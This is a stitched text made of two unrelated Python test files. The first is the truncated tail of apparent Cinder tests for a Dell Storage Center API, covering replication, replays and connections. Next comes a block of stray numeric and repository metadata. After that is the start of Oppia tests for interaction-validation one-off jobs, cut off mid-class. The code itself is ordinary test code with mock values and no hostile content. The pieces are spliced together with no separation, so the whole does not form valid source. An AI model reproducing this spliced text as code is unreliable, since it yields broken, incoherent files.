mock_update_volume_profiles.side_effect = [
True, True, True,
False,
True, True, False,
True, True, True, True, True,
True, True, True, True,
False]
ret = self.scapi.update_replay_profiles(scvol, 'a,b')
# Two adds and one remove
self.assertEqual(3, mock_update_volume_profiles.call_count)
self.assertTrue(ret)
# Now update fails.
ret = self.scapi.update_replay_profiles(scvol, 'a,b')
# 1 failed update plus 3 from before.
self.assertEqual(4, mock_update_volume_profiles.call_count)
self.assertFalse(ret)
# Fail adding Ids..
ret = self.scapi.update_replay_profiles(scvol, 'a,b')
# 3 more 4 from before.
self.assertEqual(7, mock_update_volume_profiles.call_count)
self.assertFalse(ret)
# User clearing profiles.
mock_find_replay_profiles.return_value = ([], ['a', 'b', 'c'])
mock_find_user_replay_profiles.return_value = ['d', 'u']
ret = self.scapi.update_replay_profiles(scvol, '')
# 3 removes and 2 adds plus 7 from before
self.assertEqual(12, mock_update_volume_profiles.call_count)
self.assertTrue(ret)
# User clearing profiles and no defaults. (Probably not possible.)
mock_find_user_replay_profiles.return_value = []
mock_find_daily_replay_profile.return_value = 'd'
ret = self.scapi.update_replay_profiles(scvol, '')
# 3 removes and 1 add plus 12 from before.
self.assertEqual(16, mock_update_volume_profiles.call_count)
self.assertTrue(ret)
# _find_replay_profiles blows up so we do too.
mock_find_replay_profiles.side_effect = (
exception.VolumeBackendAPIException('aaa'))
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.update_replay_profiles,
scvol,
'a,b')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put')
def test_manage_replay(self,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
screplay = {'description': 'notguid',
'instanceId': 1}
payload = {'description': 'guid',
'expireTime': 0}
mock_put.return_value = self.RESPONSE_200
ret = self.scapi.manage_replay(screplay, 'guid')
self.assertTrue(ret)
mock_put.assert_called_once_with('StorageCenter/ScReplay/1', payload,
True)
mock_put.return_value = self.RESPONSE_400
ret = self.scapi.manage_replay(screplay, 'guid')
self.assertFalse(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put')
def test_unmanage_replay(self,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
screplay = {'description': 'guid',
'instanceId': 1}
payload = {'expireTime': 1440}
mock_put.return_value = self.RESPONSE_200
ret = self.scapi.unmanage_replay(screplay)
self.assertTrue(ret)
mock_put.assert_called_once_with('StorageCenter/ScReplay/1', payload,
True)
mock_put.return_value = self.RESPONSE_400
ret = self.scapi.unmanage_replay(screplay)
self.assertFalse(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_replay_list')
def test_find_common_replay(self,
mock_get_replay_list,
mock_close_connection,
mock_open_connection,
mock_init):
dreplays = [{'globalIndex': '11111.113'},
{'globalIndex': '11111.112'},
{'globalIndex': '11111.111'}]
sreplays = [{'globalIndex': '12345.112'},
{'globalIndex': '12345.111'},
{'globalIndex': '11111.112'},
{'globalIndex': '11111.111'}]
xreplays = [{'globalIndex': '12345.112'},
{'globalIndex': '12345.111'}]
mock_get_replay_list.side_effect = [dreplays, sreplays,
dreplays, xreplays]
ret = self.scapi.find_common_replay({'instanceId': '12345.1'},
{'instanceId': '11111.1'})
self.assertEqual({'globalIndex': '11111.112'}, ret)
ret = self.scapi.find_common_replay(None, {'instanceId': '11111.1'})
self.assertIsNone(ret)
ret = self.scapi.find_common_replay({'instanceId': '12345.1'}, None)
self.assertIsNone(ret)
ret = self.scapi.find_common_replay({'instanceId': '12345.1'},
{'instanceId': '11111.1'})
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_qos')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
def test_start_replication(self,
mock_post,
mock_get_json,
mock_find_qos,
mock_close_connection,
mock_open_connection,
mock_init):
svolume = {'name': 'guida', 'instanceId': '12345.101',
'scSerialNumber': 12345}
dvolume = {'name': 'guidb', 'instanceId': '11111.101',
'scSerialNumber': 11111}
mock_post.return_value = self.RESPONSE_200
mock_get_json.return_value = {'instanceId': '12345.201'}
mock_find_qos.return_value = {'instanceId': '12345.1'}
expected = {'QosNode': '12345.1',
'SourceVolume': '12345.101',
'StorageCenter': 12345,
'ReplicateActiveReplay': False,
'Type': 'Asynchronous',
'DestinationVolume': '11111.101',
'DestinationStorageCenter': 11111}
ret = self.scapi.start_replication(svolume, dvolume, 'Asynchronous',
'cinderqos', False)
self.assertEqual(mock_get_json.return_value, ret)
mock_post.assert_called_once_with('StorageCenter/ScReplication',
expected, True)
mock_post.return_value = self.RESPONSE_400
ret = self.scapi.start_replication(svolume, dvolume, 'Asynchronous',
'cinderqos', False)
self.assertIsNone(ret)
mock_post.return_value = self.RESPONSE_200
mock_find_qos.return_value = None
ret = self.scapi.start_replication(svolume, dvolume, 'Asynchronous',
'cinderqos', False)
self.assertIsNone(ret)
mock_find_qos.return_value = {'instanceId': '12345.1'}
ret = self.scapi.start_replication(None, dvolume, 'Asynchronous',
'cinderqos', False)
self.assertIsNone(ret)
ret = self.scapi.start_replication(svolume, None, 'Asynchronous',
'cinderqos', False)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_common_replay')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'create_replay')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'start_replication')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
def test_replicate_to_common(self,
mock_post,
mock_get_json,
mock_start_replication,
mock_create_replay,
mock_find_common_replay,
mock_close_connection,
mock_open_connection,
mock_init):
creplay = {'instanceId': '11111.201'}
svolume = {'name': 'guida'}
dvolume = {'name': 'guidb', 'volumeFolder': {'instanceId': '11111.1'}}
vvolume = {'name': 'guidc'}
mock_find_common_replay.return_value = creplay
mock_post.return_value = self.RESPONSE_200
mock_get_json.return_value = vvolume
mock_create_replay.return_value = {'instanceId': '12345.202'}
mock_start_replication.return_value = {'instanceId': '12345.203'}
# Simple common test.
ret = self.scapi.replicate_to_common(svolume, dvolume, 'cinderqos')
self.assertEqual(mock_start_replication.return_value, ret)
mock_post.assert_called_once_with(
'StorageCenter/ScReplay/11111.201/CreateView',
{'Name': 'fback:guidb',
'Notes': 'Created by Dell Cinder Driver',
'VolumeFolder': '11111.1'},
True)
mock_create_replay.assert_called_once_with(svolume, 'failback', 600)
mock_start_replication.assert_called_once_with(svolume, vvolume,
'Asynchronous',
'cinderqos',
False)
mock_create_replay.return_value = None
# Unable to create a replay.
ret = self.scapi.replicate_to_common(svolume, dvolume, 'cinderqos')
self.assertIsNone(ret)
mock_create_replay.return_value = {'instanceId': '12345.202'}
mock_get_json.return_value = None
# Create view volume fails.
ret = self.scapi.replicate_to_common(svolume, dvolume, 'cinderqos')
self.assertIsNone(ret)
mock_get_json.return_value = vvolume
mock_post.return_value = self.RESPONSE_400
# Post call returns an error.
ret = self.scapi.replicate_to_common(svolume, dvolume, 'cinderqos')
self.assertIsNone(ret)
mock_post.return_value = self.RESPONSE_200
mock_find_common_replay.return_value = None
# No common replay found.
ret = self.scapi.replicate_to_common(svolume, dvolume, 'cinderqos')
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'delete_replication')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'start_replication')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'rename_volume')
def test_flip_replication(self,
mock_rename_volume,
mock_start_replication,
mock_delete_replication,
mock_close_connection,
mock_open_connection,
mock_init):
svolume = {'scSerialNumber': '12345.1'}
dvolume = {'scSerialNumber': '11111.1'}
name = 'guid'
replicationtype = 'Synchronous'
qosnode = 'cinderqos'
activereplay = True
mock_delete_replication.return_value = True
mock_start_replication.return_value = {'instanceId': '11111.101'}
mock_rename_volume.return_value = True
# Good run.
ret = self.scapi.flip_replication(svolume, dvolume, name,
replicationtype, qosnode,
activereplay)
self.assertTrue(ret)
mock_delete_replication.assert_called_once_with(svolume, '11111.1',
False)
mock_start_replication.assert_called_once_with(dvolume, svolume,
replicationtype,
qosnode, activereplay)
mock_rename_volume.assert_any_call(svolume, 'Cinder repl of guid')
mock_rename_volume.assert_any_call(dvolume, 'guid')
mock_rename_volume.return_value = False
# Unable to rename volumes.
ret = self.scapi.flip_replication(svolume, dvolume, name,
replicationtype, qosnode,
activereplay)
self.assertFalse(ret)
mock_rename_volume.return_value = True
mock_start_replication.return_value = None
# Start replication call fails.
ret = self.scapi.flip_replication(svolume, dvolume, name,
replicationtype, qosnode,
activereplay)
self.assertFalse(ret)
mock_delete_replication.return_value = False
mock_start_replication.return_value = {'instanceId': '11111.101'}
# Delete old replication call fails.
ret = self.scapi.flip_replication(svolume, dvolume, name,
replicationtype, qosnode,
activereplay)
self.assertFalse(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get')
def test_replication_progress(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
mock_get.return_value = self.RESPONSE_200
mock_get_json.return_value = {'synced': True,
'amountRemaining': '0 Bytes'}
# Good run
retbool, retnum = self.scapi.replication_progress('11111.101')
self.assertTrue(retbool)
self.assertEqual(0.0, retnum)
# SC replication ID is None.
retbool, retnum = self.scapi.replication_progress(None)
self.assertIsNone(retbool)
self.assertIsNone(retnum)
mock_get.return_value = self.RESPONSE_400
# Get progress call fails.
retbool, retnum = self.scapi.replication_progress('11111.101')
self.assertIsNone(retbool)
self.assertIsNone(retnum)
class DellSCSanAPIConnectionTestCase(test.TestCase):
"""DellSCSanAPIConnectionTestCase
Class to test the Storage Center API connection using Mock.
"""
# Create a Response object that indicates OK
response_ok = models.Response()
response_ok.status_code = 200
response_ok.reason = u'ok'
RESPONSE_200 = response_ok
# Create a Response object with no content
response_nc = models.Response()
response_nc.status_code = 204
response_nc.reason = u'duplicate'
RESPONSE_204 = response_nc
# Create a Response object is a pure error.
response_bad = models.Response()
response_bad.status_code = 400
response_bad.reason = u'bad request'
RESPONSE_400 = response_bad
APIDICT = {u'instanceId': u'0',
u'hostName': u'192.168.0.200',
u'userId': 434226,
u'connectionKey': u'',
u'minApiVersion': u'0.1',
u'webServicesPort': 3033,
u'locale': u'en_US',
u'objectType': u'ApiConnection',
u'secureString': u'',
u'applicationVersion': u'2.0.1',
u'source': u'REST',
u'commandLine': False,
u'application': u'Cinder REST Driver',
u'sessionKey': 1436460614863,
u'provider': u'EnterpriseManager',
u'instanceName': u'ApiConnection',
u'connected': True,
u'userName': u'Admin',
u'useHttps': False,
u'providerVersion': u'15.3.1.186',
u'apiVersion': u'2.2',
u'apiBuild': 199}
def setUp(self):
super(DellSCSanAPIConnectionTestCase, self).setUp()
# Configuration is a mock. A mock is pretty much a blank
# slate. I believe mock's done in setup are not happy time
# mocks. So we just do a few things like driver config here.
self.configuration = mock.Mock()
self.configuration.san_is_local = False
self.configuration.san_ip = "192.168.0.1"
self.configuration.san_login = "admin"
self.configuration.san_password = "mmm"
self.configuration.dell_sc_ssn = 12345
self.configuration.dell_sc_server_folder = 'openstack'
self.configuration.dell_sc_volume_folder = 'openstack'
# Note that we set this to True even though we do not
# test this functionality. This is sent directly to
# the requests calls as the verify parameter and as
# that is a third party library deeply stubbed out is
# not directly testable by this code. Note that in the
# case that this fails the driver fails to even come
# up.
self.configuration.dell_sc_verify_cert = True
self.configuration.dell_sc_api_port = 3033
self.configuration.iscsi_ip_address = '192.168.1.1'
self.configuration.iscsi_port = 3260
self._context = context.get_admin_context()
self.apiversion = '2.0'
# Set up the StorageCenterApi
self.scapi = dell_storagecenter_api.StorageCenterApi(
self.configuration.san_ip,
self.configuration.dell_sc_api_port,
self.configuration.san_login,
self.configuration.san_password,
self.configuration.dell_sc_verify_cert,
self.apiversion)
# Set up the scapi configuration vars
self.scapi.ssn = self.configuration.dell_sc_ssn
self.scapi.sfname = self.configuration.dell_sc_server_folder
self.scapi.vfname = self.configuration.dell_sc_volume_folder
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=APIDICT)
def test_open_connection(self,
mock_get_json,
mock_post):
self.scapi.open_connection()
self.assertTrue(mock_post.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_check_version_fail',
return_value=RESPONSE_400)
def test_open_connection_failure(self,
mock_check_version_fail,
mock_post):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.open_connection)
self.assertTrue(mock_check_version_fail.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_check_version_fail',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=APIDICT)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_open_connection_sc(self,
mock_post,
mock_get_json,
mock_check_version_fail):
self.scapi.open_connection()
self.assertTrue(mock_check_version_fail.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_close_connection(self,
mock_post):
self.scapi.close_connection()
self.assertTrue(mock_post.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_close_connection_failure(self,
mock_post):
self.scapi.close_connection()
self.assertTrue(mock_post.called)
| 47.680863
| 79
| 0.512077
| 29,336
| 326,900
| 5.4232
| 0.03736
| 0.056847
| 0.066878
| 0.086451
| 0.910651
| 0.894566
| 0.876935
| 0.862824
| 0.846073
| 0.832446
| 0
| 0.047502
| 0.406638
| 326,900
| 6,855
| 80
| 47.687819
| 0.772702
| 0.028801
| 0
| 0.846142
| 0
| 0
| 0.15425
| 0.03306
| 0
| 0
| 0
| 0
| 0.110284
| 0
| null | null | 0.001109
| 0.003803
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e6f5156aef573aced51a16610e04aea21df42229
| 51,600
|
py
|
Python
|
core/domain/interaction_jobs_one_off_test.py
|
ayushi0014/oppia
|
346ab6b84bfc3d0cab2ed0e647ad76f7a9acd399
|
[
"Apache-2.0"
] | null | null | null |
core/domain/interaction_jobs_one_off_test.py
|
ayushi0014/oppia
|
346ab6b84bfc3d0cab2ed0e647ad76f7a9acd399
|
[
"Apache-2.0"
] | null | null | null |
core/domain/interaction_jobs_one_off_test.py
|
ayushi0014/oppia
|
346ab6b84bfc3d0cab2ed0e647ad76f7a9acd399
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
#
# Copyright 2020 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for Interaction validation jobs."""
from __future__ import absolute_import # pylint: disable=import-only-modules
from __future__ import unicode_literals # pylint: disable=import-only-modules
from core.domain import exp_domain
from core.domain import exp_services
from core.domain import interaction_jobs_one_off
from core.domain import rights_manager
from core.domain import state_domain
from core.domain import taskqueue_services
from core.domain import user_services
from core.platform import models
from core.tests import test_utils
(job_models, exp_models, base_models, classifier_models) = (
models.Registry.import_models([
models.NAMES.job, models.NAMES.exploration, models.NAMES.base_model,
models.NAMES.classifier]))
# This mock should be used only in InteractionCustomizationArgsValidationJob.
# The first job validates the html strings and produces as output the invalid
# strings. If we do not use mock validation for rte while updating
# states and saving exploration, the validation for subtitled html
# in state will fail, thereby resulting in failure of job.
# The second job validates the customization args in html and if the
# mock is not used while updating states and saving explorations,
# the validation for subtitled html in state will fail, thereby
# resulting in failure of job.
def mock_validate(unused_self):
pass
def run_job_for_deleted_exp(
self, job_class, check_error=False,
error_type=None, error_msg=None, function_to_be_called=None,
exp_id=None):
"""Helper function to run job for a deleted exploration and check the
output or error condition.
"""
job_id = job_class.create_new()
# Check there is one job in the taskqueue corresponding to
# delete_exploration_from_subscribed_users.
self.assertEqual(
self.count_jobs_in_taskqueue(
taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 1)
job_class.enqueue(job_id)
self.assertEqual(
self.count_jobs_in_mapreduce_taskqueue(
taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 1)
self.process_and_flush_pending_mapreduce_tasks()
self.process_and_flush_pending_tasks()
if check_error:
with self.assertRaisesRegexp(error_type, error_msg):
function_to_be_called(exp_id)
else:
self.assertEqual(job_class.get_output(job_id), [])
class DragAndDropSortInputInteractionOneOffJobTests(test_utils.GenericTestBase):
ALBERT_EMAIL = 'albert@example.com'
ALBERT_NAME = 'albert'
VALID_EXP_ID = 'exp_id0'
NEW_EXP_ID = 'exp_id1'
EXP_TITLE = 'title'
def setUp(self):
super(DragAndDropSortInputInteractionOneOffJobTests, self).setUp()
self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME)
self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL)
self.set_admins([self.ADMIN_USERNAME])
self.admin = user_services.UserActionsInfo(self.admin_id)
# Setup user who will own the test explorations.
self.signup(self.ALBERT_EMAIL, self.ALBERT_NAME)
self.albert_id = self.get_user_id_from_email(self.ALBERT_EMAIL)
self.process_and_flush_pending_mapreduce_tasks()
def test_exp_state_pairs_are_produced_only_for_desired_interactions(self):
"""Checks output pairs are produced only for
desired interactions.
"""
owner = user_services.UserActionsInfo(self.albert_id)
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'State2'])
state1 = exploration.states['State1']
state2 = exploration.states['State2']
customization_args_dict1 = {
'choices': {'value': [{
'html': '<p>This is value1 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_1'
}]},
'allowMultipleItemsInSamePosition': {'value': True}
}
answer_group_list1 = [{
'rule_specs': [{
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': [['a'], ['b']]}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback1',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
customization_args_dict2 = {
'choices': {'value': [{
'html': '<p>This is value1 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_1'
}]},
'allowMultipleItemsInSamePosition': {'value': True}
}
answer_group_list2 = [{
'rule_specs': [{
'rule_type': 'IsEqualToOrderingWithOneItemAtIncorrectPosition',
'inputs': {
'x': []
}
}, {
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': [['a']]}
}, {
'rule_type': 'HasElementXBeforeElementY',
'inputs': {
'x': '',
'y': ''
}
}, {
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': []}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}, {
'rule_specs': [{
'rule_type': 'HasElementXAtPositionY',
'inputs': {
'x': '',
'y': 1
}
}, {
'rule_type': 'HasElementXAtPositionY',
'inputs': {
'x': 'a',
'y': 2
}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback2',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_id('DragAndDropSortInput')
state1.update_interaction_customization_args(customization_args_dict1)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list1)
exp_services.save_new_exploration(self.albert_id, exploration)
rights_manager.publish_exploration(owner, self.VALID_EXP_ID)
# Start DragAndDropSortInputInteractionOneOffJob on sample exploration.
job_id = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.create_new())
(
interaction_jobs_one_off
.DragAndDropSortInputInteractionOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.get_output(job_id))
self.assertEqual(actual_output, [])
state2.update_interaction_id('DragAndDropSortInput')
state2.update_interaction_customization_args(customization_args_dict2)
state2.update_next_content_id_index(2)
state2.update_interaction_answer_groups(answer_group_list2)
exp_services.save_new_exploration(self.albert_id, exploration)
rights_manager.publish_exploration(owner, self.VALID_EXP_ID)
# Start DragAndDropSortInputInteractionOneOffJob on sample exploration.
job_id = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.create_new())
(
interaction_jobs_one_off
.DragAndDropSortInputInteractionOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.get_output(job_id))
expected_output = [(
u'[u\'exp_id0\', [u"[u\'State name: State2, AnswerGroup: 0, Rule '
'input x in rule with index 0 is empty. \', u\'State name: State2,'
' AnswerGroup: 0, Rule input y in rule with index 2 is empty. \', '
'u\'State name: State2, AnswerGroup: 0, Rule input x in rule with '
'index 2 is empty. \', u\'State name: State2, AnswerGroup: 0, Rule'
' input x in rule with index 3 is empty. \', u\'State name: State2'
', AnswerGroup: 1, Rule input x in rule with index 0 is empty. \']'
'"]]'
)]
self.assertEqual(actual_output, expected_output)
rights_manager.unpublish_exploration(self.admin, self.VALID_EXP_ID)
# Start DragAndDropSortInputInteractionOneOffJob on private
# exploration.
job_id = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.create_new())
(
interaction_jobs_one_off
.DragAndDropSortInputInteractionOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob
.get_output(job_id))
self.assertEqual(actual_output, [])
def test_no_action_is_performed_for_deleted_exploration(self):
"""Test that no action is performed on deleted explorations."""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1'])
state1 = exploration.states['State1']
state1.update_interaction_id('DragAndDropSortInput')
customization_args_dict = {
'choices': {'value': [{
'html': '<p>This is value1 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for DragAndDropSortInput</p>',
'content_id': 'ca_choices_1'
}]},
'allowMultipleItemsInSamePosition': {'value': True}
}
answer_group_list = [{
'rule_specs': [{
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': []}
}, {
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': []}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_customization_args(customization_args_dict)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list)
exp_services.save_new_exploration(self.albert_id, exploration)
exp_services.delete_exploration(self.albert_id, self.VALID_EXP_ID)
run_job_for_deleted_exp(
self,
interaction_jobs_one_off.DragAndDropSortInputInteractionOneOffJob)
class MultipleChoiceInteractionOneOffJobTests(test_utils.GenericTestBase):
ALBERT_EMAIL = 'albert@example.com'
ALBERT_NAME = 'albert'
VALID_EXP_ID = 'exp_id0'
NEW_EXP_ID = 'exp_id1'
EXP_TITLE = 'title'
def setUp(self):
super(MultipleChoiceInteractionOneOffJobTests, self).setUp()
# Setup user who will own the test explorations.
self.signup(self.ALBERT_EMAIL, self.ALBERT_NAME)
self.albert_id = self.get_user_id_from_email(self.ALBERT_EMAIL)
self.process_and_flush_pending_mapreduce_tasks()
def test_exp_state_pairs_are_produced_only_for_desired_interactions(self):
"""Checks output pairs are produced only for
desired interactions.
"""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'State2'])
state1 = exploration.states['State1']
state2 = exploration.states['State2']
customization_args_dict1 = {
'choices': {'value': [{
'html': '<p>This is value1 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_1'
}]},
'showChoicesInShuffledOrder': {'value': True}
}
answer_group_list1 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': '1'}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_id('MultipleChoiceInput')
state1.update_interaction_customization_args(customization_args_dict1)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list1)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start MultipleChoiceInteractionOneOffJob job on sample exploration.
job_id = (
interaction_jobs_one_off
.MultipleChoiceInteractionOneOffJob.create_new())
interaction_jobs_one_off.MultipleChoiceInteractionOneOffJob.enqueue(
job_id)
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.MultipleChoiceInteractionOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
customization_args_dict2 = {
'choices': {'value': [{
'html': '<p>This is value1 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_1'
}, {
'html': '<p>This is value3 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_2'
}, {
'html': '<p>This is value4 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_3'
}]},
'showChoicesInShuffledOrder': {'value': True}
}
answer_group_list2 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': '0'}
}, {
'rule_type': 'Equals',
'inputs': {'x': '9007199254740991'}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state2.update_interaction_id('MultipleChoiceInput')
state2.update_interaction_customization_args(customization_args_dict2)
state2.update_next_content_id_index(4)
state2.update_interaction_answer_groups(answer_group_list2)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start MultipleChoiceInteractionOneOffJob job on sample exploration.
job_id = (
interaction_jobs_one_off
.MultipleChoiceInteractionOneOffJob.create_new())
interaction_jobs_one_off.MultipleChoiceInteractionOneOffJob.enqueue(
job_id)
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.MultipleChoiceInteractionOneOffJob.get_output(job_id))
expected_output = [(
u'[u\'exp_id0\', '
u'[u\'State name: State2, AnswerGroup: 0, Rule: 1 is invalid.' +
'(Indices here are 0-indexed.)\']]'
)]
self.assertEqual(actual_output, expected_output)
def test_no_action_is_performed_for_deleted_exploration(self):
"""Test that no action is performed on deleted explorations."""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1'])
state1 = exploration.states['State1']
state1.update_interaction_id('MultipleChoiceInput')
customization_args_dict = {
'choices': {'value': [{
'html': '<p>This is value1 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for MultipleChoiceInput</p>',
'content_id': 'ca_choices_1'
}]},
'showChoicesInShuffledOrder': {'value': True}
}
answer_group_list = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': '0'}
}, {
'rule_type': 'Equals',
'inputs': {'x': '9007199254740991'}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_customization_args(customization_args_dict)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list)
exp_services.save_new_exploration(self.albert_id, exploration)
exp_services.delete_exploration(self.albert_id, self.VALID_EXP_ID)
run_job_for_deleted_exp(
self, interaction_jobs_one_off.MultipleChoiceInteractionOneOffJob)
class ItemSelectionInteractionOneOffJobTests(test_utils.GenericTestBase):
ALBERT_EMAIL = 'albert@example.com'
ALBERT_NAME = 'albert'
VALID_EXP_ID = 'exp_id0'
NEW_EXP_ID = 'exp_id1'
EXP_TITLE = 'title'
def setUp(self):
super(ItemSelectionInteractionOneOffJobTests, self).setUp()
# Setup user who will own the test explorations.
self.signup(self.ALBERT_EMAIL, self.ALBERT_NAME)
